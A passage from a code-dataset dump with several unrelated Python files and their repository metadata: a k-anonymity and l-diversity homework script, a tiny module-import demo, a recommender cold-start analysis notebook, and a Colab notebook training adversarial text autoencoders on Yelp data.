(E*Nom)/Den #Calculate Loss of a complete class in a column. Then, continue doing it for all classes.\n    attribute_selection = attribute_selection+1 #do the same thing for next column\n    i = 0 #Reset Row Selection\n  return Coefficient*GenLoss #Return Value of Loss.\n\n#Call CDM function on a set of tables and store their result in an array.\n#These calculations will take time, uncomment and run on your responsibility\n\n#CDM_Answer_Greedy = [CDM(K3_Greedy),CDM(K5_Greedy),CDM(K7_Greedy),CDM(K9_Greedy)]\n#CDM_Answer_ARX = [CDM(K3_ARX),CDM(K5_ARX),CDM(K7_ARX),CDM(K9_ARX)]\n\n#Call I_Loss function on a set of tables and store their result in an array.\n#These calculations will take time, uncomment and run on your responsibility\n\n#I_Loss_Greedy = [GenCalc(K3_Greedy),GenCalc(K5_Greedy),GenCalc(K7_Greedy),GenCalc(K9_Greedy)]\n#I_Loss_ARX = [GenCalc(K3_ARX),GenCalc(K5_ARX),GenCalc(K7_ARX),GenCalc(K9_ARX)]\n\n#Define K Values in array.\nK = [3, 5, 7, 9]\n\n#Store values in a Frame to Plot them.\nCDM_Frame_Greedy = pd.DataFrame(data={'K':K,'CDM':CDM_Answer_Greedy})\nCDM_Frame_Greedy\n\n#Store values in a Frame to Plot them.\nCDM_Frame_ARX = pd.DataFrame(data={'K':K,'CDM':CDM_Answer_ARX})\nCDM_Frame_ARX\n\n#Store values in a Frame to Plot them.\nI_Loss_Frame_Greedy = pd.DataFrame(data={'K':K,'I_Loss':I_Loss_Greedy})\nI_Loss_Frame_Greedy\n\n#Store values in a Frame to Plot them.\nI_Loss_Frame_ARX = pd.DataFrame(data={'K':K,'I_Loss':I_Loss_ARX})\nI_Loss_Frame_ARX\n\n\"\"\"Most plots show that Loss increases as K increases, which reduces utility and increases privacy. Arx with l=2 has better I_Loss and Greedy algorithm has better CDM.\n\n### Greedy Algorithm Plots\n\"\"\"\n\nfig = px.line(CDM_Frame_Greedy, x=\"K\", y=\"CDM\")\nfig.show()\n\nfig = px.line(I_Loss_Frame_Greedy, x=\"K\", y=\"I_Loss\")\nfig.show()\n\n\"\"\"### ARX Plots\"\"\"\n\nfig = px.line(CDM_Frame_ARX, x=\"K\", y=\"CDM\")\nfig.show()\n\nfig = px.line(I_Loss_Frame_ARX, x=\"K\", y=\"I_Loss\")\nfig.show()\n\n\"\"\"#Task4: l-diversity\n###Using the anonymized table with k = 9 from Task 3, check if\n###the 9-anonymized table is distinct l-diverse for each l = 2 and 5.\n###In the case when the 9-anonymized table violates the l-diversity\n###requirements, print at least one equivalence class that violates\n###the diversity requirement.\n\"\"\"\n\n#Each should have class at least l' different values of Income(K) (>= l)\n\n#Load Task 3 Tables\nArx_Table = pd.read_csv(\"https://github.com/Alnasser0/COE426-HWs/raw/master/HW1/ARX-K9.csv\")\nGreedy_Table = pd.read_csv(\"https://github.com/Alnasser0/COE426-HWs/raw/master/HW1/Anon-K9.csv\")\n\ndef DoesViolateLdistinct(Table, l): #This algorithm checks every class if they violate l rule.\n  i=0 #index of row\n  while (i < len(Table.index)): #Stop when you reach record 20k, since last index 19999\n    selected_row=Table.iloc[i,:] #get a row.\n    same_class = Table[ #Get All Rows that have same Quasi Values (Same Class)\n            (Table.Age==selected_row.Age)\n          & (Table.Gender==selected_row.Gender) \n          & (Table.Marital==selected_row.Marital)\n          & (Table.Race_Status==selected_row.Race_Status)\n          & (Table.Birth_Place==selected_row.Birth_Place)\n          & (Table.Language==selected_row.Language)\n          & (Table.Occupation==selected_row.Occupation)\n      ]\n    if (all((~same_class.Age.str.contains(\"\\*\"))) and all((~same_class.Age.str.contains(\">=\")))): #Dont Check classes with * or >= values (For ARX)\n      number = len(same_class[\"Income_(K)\"].unique()) #Get How many unique sensetive values we have in a class\n      if (number < l): #Return Violation and Class if unique values is less than l\n       return same_class, True\n    i=i+len(same_class.index) #else continue iteration through the all classes\n  return _, False #if no violation is found, return to user.\n\nGreedy_Class_2, Greedy_Boolean_2 = DoesViolateLdistinct(Greedy_Table, 2)\nGreedy_Class_5, Greedy_Boolean_5 = DoesViolateLdistinct(Greedy_Table, 5)\nARX_Class_2, ARX_Boolean_2 = DoesViolateLdistinct(Arx_Table, 2)\nARX_Class_5, ARX_Boolean_5 = DoesViolateLdistinct(Arx_Table, 5)\n\nif (Greedy_Boolean_2):\n  print(\"Greedy Algorithm does violate the rule of l=2, and the class is: \\n\")\n  print(Greedy_Class_2)\nif (Greedy_Boolean_5):\n  print(\"\\nGreedy Algorithm does violate the rule of l=5, and the class is: \\n\")\n  print(Greedy_Class_5)\nif (ARX_Boolean_2):\n  print(\"\\nARX output does violate the rule of l=2, and the class is: \\n\")\n  print(ARX_Class_2)\nif (ARX_Boolean_5):\n  print(\"\\nARX output does violate the rule of l=5, and the class is: \\n\")\n  print(ARX_Class_5)", "meta": {"hexsha": "a2c68b954e397431d4edf25bcad2e8be99e5f2b9", "size": 20444, "ext": "py", "lang": "Python", "max_stars_repo_path": "HW1/hw1_coe426.py", "max_stars_repo_name": "Alnasser0/COE426-HWs", "max_stars_repo_head_hexsha": "1eda5f4d2ee1cf5843b49bc762b984d092bae706", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-02-20T21:47:15.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-20T21:47:15.000Z", "max_issues_repo_path": "HW1/hw1_coe426.py", "max_issues_repo_name": "Alnasser0/COE426-HWs", "max_issues_repo_head_hexsha": "1eda5f4d2ee1cf5843b49bc762b984d092bae706", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "HW1/hw1_coe426.py", "max_forks_repo_name": "Alnasser0/COE426-HWs", "max_forks_repo_head_hexsha": "1eda5f4d2ee1cf5843b49bc762b984d092bae706", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.6339285714, "max_line_length": 628, "alphanum_fraction": 0.7292115046, "include": true, "reason": "import numpy,from scipy", "num_tokens": 5740, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473631961697, "lm_q2_score": 0.1276526352779213, "lm_q1q2_score": 0.0549094444698402}}
{"text": "import numpy as np #the Numpy library\r\nimport matplotlib.pyplot as plt #Matplotlib's pyplot\r\n\r\nimport sys #gives access to C-like sys library\r\nimport os #gives access to operating system\r\n\r\nprint(sys.argv)\t#command line arguments\r\nprint(os.getcwd())\t#print current working directory\r\n", "meta": {"hexsha": "772a19cb79a28fe548f9deb2e4133e8cb82d9cc7", "size": 284, "ext": "py", "lang": "Python", "max_stars_repo_path": "useful_modules.py", "max_stars_repo_name": "neal03shah/astr-119-session-3", "max_stars_repo_head_hexsha": "3610f5da970b4da005ac625bba68fd695497744a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "useful_modules.py", "max_issues_repo_name": "neal03shah/astr-119-session-3", "max_issues_repo_head_hexsha": "3610f5da970b4da005ac625bba68fd695497744a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2021-09-23T23:17:57.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-11T00:04:53.000Z", "max_forks_repo_path": "useful_modules.py", "max_forks_repo_name": "neal03shah/astr-119-session-3", "max_forks_repo_head_hexsha": "3610f5da970b4da005ac625bba68fd695497744a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.5555555556, "max_line_length": 53, "alphanum_fraction": 0.7746478873, "include": true, "reason": "import numpy", "num_tokens": 63, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014734858584286, "lm_q2_score": 0.1276526286405008, "lm_q1q2_score": 0.05490943974972465}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.4'\n#       jupytext_version: 1.2.4\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# +\n# Avoid users for which you have UCM info\nmask_ucm = np.ediff1d(UCM_all.tocsr().indptr) > 0\nucm_warm = np.arange(UCM_all.shape[0])[mask_ucm]\n\n# Avoid users for which you have URM info\nwarm_users_mask = np.ediff1d(URM_train.tocsr().indptr) > 0\nwarm_users = np.arange(URM_train.shape[0])[warm_users_mask]\n\n# Merge them\nignore_users = np.concatenate((warm_users, ucm_warm))\nignore_users = np.unique(ignore_users)\n\n# Evaluate\nevaluator_ucm_cold = EvaluatorHoldout(URM_test, cutoff_list=cutoff_list, ignore_users=ignore_users)\nevaluator_ucm_cold.evaluateRecommender(usercbf)[0][10]['MAP']\n\n# +\n\nfrom course_lib.Base.Evaluation.Evaluator import EvaluatorHoldout\nfrom src.data_management.New_DataSplitter_leave_k_out import New_DataSplitter_leave_k_out\nfrom src.data_management.RecSys2019Reader import RecSys2019Reader\nfrom src.utils.general_utility_functions import get_split_seed\nfrom src.data_management.RecSys2019Reader_utils import merge_UCM\nfrom src.data_management.data_getter import get_warmer_UCM\nimport numpy as np\n\nfrom src.model.best_models import UserCBF_CF\n\n# + {\"pycharm\": {\"is_executing\": false}, \"cell_type\": \"markdown\"}\n# # Cold-start current methods analysis\n# So far, we have a winner for cold users looking at their MAP in general.\n# However, we would like to understand if -when no UCM information is present- a top-popular recommender might score better. \n\n# +\n# Data loading\ndata_reader = RecSys2019Reader(\"../../data/\")\ndata_reader = New_DataSplitter_leave_k_out(data_reader, k_out_value=3, use_validation_set=False,\n                                               force_new_split=True, seed=get_split_seed())\n\ndata_reader.load_data()\nURM_train, URM_test = data_reader.get_holdout_split()\nURM_all = data_reader.dataReader_object.get_URM_all()\nUCM_age = data_reader.dataReader_object.get_UCM_from_name(\"UCM_age\")\nUCM_region = data_reader.dataReader_object.get_UCM_from_name(\"UCM_region\")\nUCM_age_region, _ = merge_UCM(UCM_age, UCM_region, {}, {})\n\n#UCM_age_region = get_warmer_UCM(UCM_age_region, URM_all, threshold_users=3)\n#UCM_all, _ = merge_UCM(UCM_age_region, URM_train, {}, {})\nURM_all, _ = merge_UCM(UCM_age_region, URM_all, {}, {})\n\n# +\nwarm_users_mask = np.ediff1d(URM_train.tocsr().indptr) > 0\nwarm_users = np.arange(URM_train.shape[0])[warm_users_mask]\n\n# Setting evaluator\ncutoff_list = [10]\nevaluator = EvaluatorHoldout(URM_test, cutoff_list=cutoff_list, ignore_users=warm_users)\n# -\n\nusercbf = UserCBF_CF.get_model(URM_train, UCM_all)\n\nevaluator.evaluateRecommender(usercbf)[0][10]['MAP']\n\n# As we can see, generally speaking, we have a higher MAP results for all the cold users... but for some of them we have information in the UCM. How the recommender behaves for those that do not have such information? In principle, it should consider the user_profile_len of 0, as the only information that it has...\n\n# ### How can we do it? Well using the readers, for all the ones that we have ratings, we have also information in the UCM... Therefore, we will take away UCM information for some cold users\n\n# +\n# Data loading\ndata_reader = RecSys2019Reader(\"../../data/\")\ndata_reader = New_DataSplitter_leave_k_out(data_reader, k_out_value=3, use_validation_set=False,\n                                               force_new_split=True, seed=get_split_seed())\n\ndata_reader.load_data()\nURM_train, URM_test = data_reader.get_holdout_split()\nURM_all = data_reader.dataReader_object.get_URM_all()\nUCM_age = data_reader.dataReader_object.get_UCM_from_name(\"UCM_age\")\nUCM_region = data_reader.dataReader_object.get_UCM_from_name(\"UCM_region\")\nUCM_age_region, _ = merge_UCM(UCM_age, UCM_region, {}, {})\n\nUCM_age_region = get_warmer_UCM(UCM_age_region, URM_all, threshold_users=3)\n#UCM_all, _ = merge_UCM(UCM_age_region, URM_train, {}, {})\n\n# +\nn_runs = 5\nmap_cumulated = 0\nfor i in range(0, n_runs):\n    # Select a random subsets of the cold users\n    cold_users_mask = np.ediff1d(URM_train.tocsr().indptr) == 0\n    cold_users = np.arange(URM_train.shape[0])[cold_users_mask]\n    idx_users_to_take_out = np.random.randint(low=0, high=cold_users.size-1, size=int(cold_users.size*0.3)+100)\n    idx_users_to_take_out = np.unique(idx_users_to_take_out)\n\n    users_to_take_out = cold_users[idx_users_to_take_out]\n    users_to_take_out.size\n    temp = UCM_age_region.copy()\n    temp[users_to_take_out] = 0\n    temp.eliminate_zeros()\n    UCM_all, _ = merge_UCM(temp, URM_train, {}, {})\n\n    total_users = np.arange(URM_train.shape[0])\n    ignore_users_mask = np.in1d(total_users, users_to_take_out, invert=True)\n    ignore_users = total_users[ignore_users_mask]\n    \n    # Setting evaluator\n    cutoff_list = [10]\n    evaluator = EvaluatorHoldout(URM_test, cutoff_list=cutoff_list, ignore_users=ignore_users)\n    usercbf = UserCBF_CF.get_model(URM_train, UCM_all)\n    res = evaluator.evaluateRecommender(usercbf)[0][10]['MAP']\n    print(res)\n    map_cumulated += res\n\nprint(map_cumulated/n_runs)\n# -\n\n# MAP is zero for these users! Let's counter prove this\n\n# +\nn_runs = 5\nmap_cumulated = 0\nfor i in range(0, n_runs):\n    # Select a random subsets of the cold users\n    cold_users_mask = np.ediff1d(URM_train.tocsr().indptr) == 0\n    cold_users = np.arange(URM_train.shape[0])[cold_users_mask]\n    idx_users_to_take_out = np.random.randint(low=0, high=cold_users.size-1, size=int(cold_users.size*0.3)+100)\n    idx_users_to_take_out = np.unique(idx_users_to_take_out)\n\n    users_to_take_out = cold_users[idx_users_to_take_out]\n    users_to_take_out.size\n    \n    temp = UCM_age_region.copy()\n    #temp[users_to_take_out] = 0\n    #temp.eliminate_zeros()\n    UCM_all, _ = merge_UCM(temp, URM_train, {}, {})\n\n    total_users = np.arange(URM_train.shape[0])\n    ignore_users_mask = np.in1d(total_users, users_to_take_out, invert=True)\n    ignore_users = total_users[ignore_users_mask]\n    \n    # Setting evaluator\n    cutoff_list = [10]\n    evaluator = EvaluatorHoldout(URM_test, cutoff_list=cutoff_list, ignore_users=ignore_users)\n    usercbf = UserCBF_CF.get_model(URM_train, UCM_all)\n    res = evaluator.evaluateRecommender(usercbf)[0][10]['MAP']\n    print(res)\n    map_cumulated += res\n\nprint(map_cumulated/n_runs)\n# -\n\n\n", "meta": {"hexsha": "b3ae44d17839d8cd16cd6b3ba6f189aa78433e65", "size": 6423, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/poiani_explore_cold_start_problem_userCBF.py", "max_stars_repo_name": "riccardopoiani/recsys_2019", "max_stars_repo_head_hexsha": "47a44d2f7d85e76e31dacf4ba2e69721d010b6b8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-10-01T11:08:32.000Z", "max_stars_repo_stars_event_max_datetime": "2020-11-25T11:05:37.000Z", "max_issues_repo_path": "notebooks/poiani_explore_cold_start_problem_userCBF.py", "max_issues_repo_name": "riccardopoiani/recsys_2019", "max_issues_repo_head_hexsha": "47a44d2f7d85e76e31dacf4ba2e69721d010b6b8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/poiani_explore_cold_start_problem_userCBF.py", "max_forks_repo_name": "riccardopoiani/recsys_2019", "max_forks_repo_head_hexsha": "47a44d2f7d85e76e31dacf4ba2e69721d010b6b8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-10-01T11:08:33.000Z", "max_forks_repo_forks_event_max_datetime": "2020-10-01T11:08:33.000Z", "avg_line_length": 38.2321428571, "max_line_length": 316, "alphanum_fraction": 0.7471586486, "include": true, "reason": "import numpy", "num_tokens": 1797, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473485858429, "lm_q2_score": 0.12765262200308058, "lm_q1q2_score": 0.054909436894655946}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.11.3\n#   kernelspec:\n#     display_name: Python 3\n#     name: python3\n# ---\n\n# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# <a href=\"https://colab.research.google.com/github/probml/pyprobml/blob/master/notebooks/text_autoencoders_pytorch.ipynb\" target=\"_parent\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open In Colab\"/></a>\n\n# + [markdown] id=\"Gmm_TyNcTdLD\"\n# # Adversarial autoencoders for text\n#\n# Code is from\n# https://github.com/shentianxiao/text-autoencoders\n#\n# Paper is here: https://arxiv.org/pdf/1905.12777.pdf\n\n# + [markdown] id=\"dV3lykF6TvwL\"\n# # Setup\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"G29OhPQcTdoO\" outputId=\"1bfdb063-5b30-4e65-f1a8-1a7a11e00e9a\"\nimport torch\nfrom multiprocessing import cpu_count\nprint(cpu_count())\nprint(torch.cuda.is_available())\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"5JtFQPuqTaw2\" outputId=\"cba5e1dc-40be-4a5f-cb9b-777765800836\"\n# !git clone https://github.com/shentianxiao/text-autoencoders.git\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"rSKVhddyUUm2\" outputId=\"423007d3-743f-4dc3-e3e7-ec5af238261a\"\n# !ls\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"qh7fYGg9UWcz\" outputId=\"c2b179ad-ecd6-43a5-85e4-03720518dc08\"\n# %cd text-autoencoders\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"dTmgH_QUUYId\" outputId=\"f1fb7a20-2a84-4f50-af88-58ff3eaff4c4\"\n# !ls\n\n# + id=\"jrmT7wGeB6zm\"\n\n\n# + [markdown] id=\"u-FxMmZ3Txlk\"\n# # Data\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"PJqGHr-KTo9W\" outputId=\"7f168732-337f-4fec-c41c-5a013abe1828\"\n# !bash download_data.sh\n\n# + [markdown] id=\"RBD4mGZ_Uqjr\"\n# # Train\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"aPw6uP1MU0qh\" outputId=\"908c9949-75f1-4498-de65-1bc0c823e860\"\n# !python train.py -h\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 154} id=\"6rTRlHtdXwwX\" outputId=\"59cc4db5-b540-4d04-a644-a61fa274f213\"\n'''\n# Path arguments\nparser.add_argument('--train', metavar='FILE', required=True,\n                    help='path to training file')\nparser.add_argument('--valid', metavar='FILE', required=True,\n                    help='path to validation file')\nparser.add_argument('--save-dir', default='checkpoints', metavar='DIR',\n                    help='directory to save checkpoints and outputs')\nparser.add_argument('--load-model', default='', metavar='FILE',\n                    help='path to load checkpoint if specified')\n# Architecture arguments\nparser.add_argument('--vocab-size', type=int, default=10000, metavar='N',\n                    help='keep N most frequent words in vocabulary')\nparser.add_argument('--dim_z', type=int, default=128, metavar='D',\n                    help='dimension of latent variable z')\nparser.add_argument('--dim_emb', type=int, default=512, metavar='D',\n                    help='dimension of word embedding')\nparser.add_argument('--dim_h', type=int, default=1024, metavar='D',\n                    help='dimension of hidden state per layer')\nparser.add_argument('--nlayers', type=int, default=1, metavar='N',\n                    help='number of layers')\nparser.add_argument('--dim_d', type=int, default=512, metavar='D',\n                    help='dimension of hidden state in AAE discriminator')\n# Model arguments\nparser.add_argument('--model_type', default='dae', metavar='M',\n                    choices=['dae', 'vae', 'aae'],\n                    help='which model to learn')\nparser.add_argument('--lambda_kl', type=float, default=0, metavar='R',\n                    help='weight for kl term in VAE')\nparser.add_argument('--lambda_adv', type=float, default=0, metavar='R',\n                    help='weight for adversarial loss in AAE')\nparser.add_argument('--lambda_p', type=float, default=0, metavar='R',\n                    help='weight for L1 penalty on posterior log-variance')\nparser.add_argument('--noise', default='0,0,0,0', metavar='P,P,P,K',\n                    help='word drop prob, blank prob, substitute prob'\n                         'max word shuffle distance')\n# Training arguments\nparser.add_argument('--dropout', type=float, default=0.5, metavar='DROP',\n                    help='dropout probability (0 = no dropout)')\nparser.add_argument('--lr', type=float, default=0.0005, metavar='LR',\n                    help='learning rate')\n#parser.add_argument('--clip', type=float, default=0.25, metavar='NORM',\n#                    help='gradient clipping')\nparser.add_argument('--epochs', type=int, default=50, metavar='N',\n                    help='number of training epochs')\nparser.add_argument('--batch-size', type=int, default=256, metavar='N',\n                    help='batch size')\n# Others\nparser.add_argument('--seed', type=int, default=1111, metavar='N',\n                    help='random seed')\nparser.add_argument('--no-cuda', action='store_true',\n                    help='disable CUDA')\nparser.add_argument('--log-interval', type=int, default=100, metavar='N',\n                    help='report interval')\n'''\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"G3i3cj-0Up3_\" outputId=\"fdf7d39c-2c73-4f18-9eb1-33d82dc0fbde\"\nNUM_EPOCHS = 1 # debugging\n# !python train.py --epochs $NUM_EPOCHS --train data/yelp/train.txt --valid data/yelp/valid.txt --model_type aae --lambda_adv 10 --noise 0.3,0,0,0 --save-dir checkpoints/yelp/daae\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"1mh7nfgidNdJ\" outputId=\"da0ebbbe-2e7a-499f-af30-22169349f034\"\nNUM_EPOCHS = 10 # debugging\n# !python train.py --epochs $NUM_EPOCHS --train data/yelp/train.txt --valid data/yelp/valid.txt --model_type aae --lambda_adv 10 --noise 0.3,0,0,0 --save-dir checkpoints/yelp/daae\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"NaNeyq3ZYhe_\" outputId=\"e3b4c7b6-e944-4d20-c48f-21f0d68765f9\"\n# !ls\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"W_OdNhuwYlLa\" outputId=\"0d3af920-5798-4986-9ccf-e4789456e166\"\n# !ls checkpoints/yelp/daae\n\n# + id=\"e1Hq9eseq7dv\"\nfrom google.colab import files\n#files.download('checkpoints/yelp/daae/model.pt')\n\n# + [markdown] id=\"fSRiEn32rCL7\"\n# # Upload pretrained model\n\n# + id=\"Y3AqiUXFrEcN\"\nfrom google.colab import files\n#uploaded = files.upload() # store it in checkpoints/yelp/daae/model.pt\n\n# + [markdown] id=\"MoCvv4mfYSA9\"\n# # Reconstruction\n\n# + id=\"uKXVJuyxYLWD\"\n# !python test.py --reconstruct --data data/yelp/test.txt --output test.rec --checkpoint checkpoints/yelp/daae/\n\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"llD_hqk7Y3Rm\" outputId=\"791098fd-50af-4656-aead-6efd74c08dd9\"\n# !ls checkpoints/yelp/daae\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"BzBL_6uPY3kz\" outputId=\"7cb96ac3-8f59-4b4b-ad27-e3ea5f8ab481\"\n# !head checkpoints/yelp/daae/test.rec.rec\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"krtESrsPZ3y_\" outputId=\"0284615d-54d2-4a69-c34e-d67bae5fc3bd\"\n# !head checkpoints/yelp/daae/test.rec.z\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"aVAGRBBmZ_Wo\" outputId=\"e57cc98a-becd-42cb-e737-b3a6ca123cc5\"\n# !head data/yelp/test.txt\n\n# + [markdown] id=\"iYP4zjFCaS2Q\"\n# # Sample\n\n# + id=\"oRtLTTRNaEKT\"\n# !python test.py --sample --n 10 --output sample --checkpoint checkpoints/yelp/daae/\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"yg1MEw8uaUnY\" outputId=\"a341b76e-dfaa-4677-bdee-33ef47b5f36c\"\n# !ls checkpoints/yelp/daae\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Q-EF4QvYaYqz\" outputId=\"70f0acd9-172b-4a74-e853-6a37d099a839\"\n# !head checkpoints/yelp/daae/sample\n\n# + [markdown] id=\"sr-THLamamjI\"\n# # Arithmetic\n#\n# The difference between the average latent representation of the first two data files will be applied to the third file (separated by commas), and k denotes the scaling factor.\n#\n\n# + [markdown] id=\"_Tz_Y_Txg55c\"\n# ## Tense\n\n# + id=\"Y6cqFAmxab3j\"\n# !python test.py --arithmetic --data data/yelp/tense/valid.past,data/yelp/tense/valid.present,data/yelp/tense/test.past --output test.past2present --checkpoint checkpoints/yelp/daae/\n\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"UtOj8o5AbSEh\" outputId=\"517effc9-bcd6-436e-8cfa-831e20eae74e\"\n# !head data/yelp/tense/valid.past\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"FqwU42qvbnTP\" outputId=\"101396ac-1b37-444e-ee6e-5c0e6310d596\"\n# !head data/yelp/tense/valid.present\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Sl91aiLWbql1\" outputId=\"084def78-c9c8-4850-f1aa-b4845eca557b\"\n# !head data/yelp/tense/test.past\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Df37XG-xbKin\" outputId=\"04e98445-73dc-44dd-8cbf-2568bc8c79b6\"\n# !head checkpoints/yelp/daae/test.past2present\n\n# + [markdown] id=\"z5nbF9p_g7pQ\"\n# ## Sentiment\n\n# + id=\"vZPQ6sZoatXK\"\n# !python test.py --arithmetic --k 2 --data data/yelp/sentiment/100.neg,data/yelp/sentiment/100.pos,data/yelp/sentiment/1000.neg --output 1000.neg2pos --checkpoint checkpoints/yelp/daae/\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"i1o_A_3rgs79\" outputId=\"c9d1b8a0-ec27-4a8f-8a05-545aa124c56a\"\n# !head data/yelp/sentiment/100.neg\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"l9vw2Pwtgxlx\" outputId=\"7dd93048-0ac3-4a0b-da35-8f7997a5db73\"\n# !head data/yelp/sentiment/100.pos\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"xh9fTPahg19l\" outputId=\"64c5da57-40a8-4b88-a0ca-611d1a57086b\"\n# !head data/yelp/sentiment/1000.neg\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Z8LiQoRZhGLo\" outputId=\"f8c36c27-59ee-4789-be54-66a11c1003f7\"\n# !head checkpoints/yelp/daae/1000.neg2pos\n\n# + [markdown] id=\"327Ahgmgb86B\"\n# # Interpolation\n#\n# Sentence interpolation between two data files (separated by a comma), \n#\n\n# + id=\"tGekWTjnb9lc\"\n# !python test.py --interpolate --data data/yelp/interpolate/example.long,data/yelp/interpolate/example.short --output example.int --checkpoint checkpoints/yelp/daae/\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Q3u-mKAhcbnO\" outputId=\"63c8fd4c-3d15-4f9d-a68b-d96d8f5a1513\"\n# !head checkpoints/yelp/daae/example.int\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"sbO3hWLIckRQ\" outputId=\"8f22487f-fa94-4e26-c23b-543d2bb45e84\"\n# !head data/yelp/interpolate/example.long\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"sEXD-qXIcpzw\" outputId=\"be940779-9bf6-403b-dc68-bfc8631d06e0\"\n# !head data/yelp/interpolate/example.short\n\n# + id=\"dqI6ngticulp\"\n\n\n# + [markdown] id=\"OrgQaMimDIrJ\"\n# # Optiponal: Reproduce fig 1 (toy dataset)\n#\n# The code below was sent to me by Tianxiao.\n# It is not part of the repo.\n\n# + [markdown] id=\"DSlNrC08EcBQ\"\n# ## Make dataset\n\n# + id=\"skM4oJUGDOIv\"\nimport os\nimport random\n\nrandom.seed(1)\n\n\ndef gen(path, n=5, m=100, l=50, p=0.2):\n    os.makedirs(os.path.dirname(path), exist_ok=True)\n    with open(path, 'w') as f:\n        for i in range(n):\n            c = [random.randint(0, 1) for _ in range(l)]\n            for j in range(m):\n                b = c.copy()\n                for k in range(l):\n                    if random.random() < p:\n                        b[k] = 1 - b[k]\n                f.write(' '.join([str(x) for x in b]) + '\\n')\n\n\ngen('data/toy/data.txt')\n\n# + [markdown] id=\"kUG8fRVeEd77\"\n# ## Train\n\n# + id=\"wnW6LfqRDS38\" outputId=\"92afa290-0781-4420-b5a3-0263396a8543\" colab={\"base_uri\": \"https://localhost:8080/\"}\n# !python train.py --train data/toy/data.txt --valid data/toy/data.txt --model_type aae --lambda_adv 10 --dim_z 2 --save-dir checkpoints/toy/aae/ --epochs 1\n\n# + id=\"As6Q8UsbDT1m\" outputId=\"04f373f9-6038-406f-f144-84b34f485f21\" colab={\"base_uri\": \"https://localhost:8080/\"}\n# !python train.py --train data/toy/data.txt --valid data/toy/data.txt --model_type dae --lambda_adv 10 --dim_z 2 --noise 0,0,0.2,0 --save-dir checkpoints/toy/daae/ --epochs 1\n\n# + id=\"BMqllw1KEQdL\" outputId=\"6f95b32b-4fb2-4663-da21-2d2613afa3af\" colab={\"base_uri\": \"https://localhost:8080/\"}\n# !ls checkpoints/toy/aae\n\n# + [markdown] id=\"I93ajRDCEf-N\"\n# ## Compute latent representations\n\n# + id=\"OTURry3wEhoB\"\n# !python test.py --reconstruct --data data/toy/data.txt --output data --max-len 55 --checkpoint checkpoints/toy/aae/\n\n# + id=\"36Oh5lewEnmy\"\n# !python test.py --reconstruct --data data/toy/data.txt --output data --max-len 55 --checkpoint checkpoints/toy/daae/\n\n# + [markdown] id=\"O3jHgjW4EkUj\"\n# ## Plot\n\n# + id=\"oq8lP-8_DyoR\"\nimport sys\nimport numpy as np\nimport 